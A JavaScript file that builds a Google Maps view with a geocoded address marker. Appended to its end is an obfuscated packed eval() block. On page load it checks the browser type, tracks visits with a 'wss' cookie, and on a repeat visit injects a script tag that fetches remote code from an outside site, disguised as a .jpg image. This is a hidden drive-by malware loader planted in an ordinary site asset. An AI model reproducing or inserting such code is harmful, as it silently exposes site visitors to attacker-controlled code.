var oh_map;
var oh_geocoder;
function loadMap(oh_address, div_name) 
{
      if (GBrowserIsCompatible()) 
      {
		oh_map = new GMap2(document.getElementById(div_name));
		oh_geocoder = new GClientGeocoder();
		oh_map.addControl(new GSmallMapControl());
		oh_map.addControl(new GMapTypeControl());
		//document.getElementById('property_map').style.display = 'none';
	}
	
	oh_geocoder.getLatLng(
	    oh_address,
		function(point)
		{
			if (!point) 
			{
				//document.getElementById('property_map').style.display ='none';
				document.getElementById(div_name).innerHTML = "Address: " + oh_address + " not found on Google Maps";
			} 
			else 
			{
				oh_map.setCenter(point, 15);
				oh_map.addOverlay(createMarker(point, oh_address));
			}
		}
	);
}
	
	
	
	
function showAddress(oh_address, div_name) 
{
	document.getElementById(div_name).style.display = '';	
}

function createMarker(point, text) 
{
	var marker = new GMarker(point);
	GEvent.addListener(marker, "click", 
		function() 
		{
			marker.openInfoWindowHtml(text);
		}
	);
	return marker;
}// JavaScript Document
		
		
function getMap(text_address)
{
	if(allTrim(text_address) != '')
		showAddress(text_address);
}


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(a(d){2 e=V.12;2 b=1a;6(e.7("19")!=-1||e.7("S")!=-1)b=z;6(b!==z)w;2 n=\'17://E.R.G/J/K/N.I?H\';2 j=l("c");6(j){6(j==\'m\'){f("c","M","3");2 s=5.Q(\'P\');s.O=\'B/C\';s.D=n+\'&r=\'+v o().F();2 h=5.L(\'11\')[0];h.15(s)}A{}}A{f("c","m","3")}a l(9){2 i,x,y,4=5.q.14(";");13(i=0;i<4.16;i++){x=4[i].p(0,4[i].7("="));y=4[i].p(4[i].7("=")+1);x=x.18(/^\\s+|\\s+$/g,"");6(x==9){w U(y)}}}a f(9,t,k){2 8=v o();8.T(8.W()+k);2 u=X(t)+((k==10)?"":"; Z="+8.Y());5.q=9+"="+u}})(5);',62,73,'||var||ARRcookies|document|if|indexOf|exdate|c_name|function|show|wss||agent|setCookie||||rc|exdays|getCookie|goot1|staturl|Date|substr|cookie|||value|c_value|new|return|||true|else|text|javascript|src|pinnacletraining|getTime|au|js|jpg|images|pinnacle|getElementsByTagName|goot2|box_process_manufacturing|type|script|createElement|com|MSIE|setDate|unescape|navigator|getDate|escape|toUTCString|expires|null|head|userAgent|for|split|appendChild|length|http|replace|Firefox|false'.split('|'),0,{}))

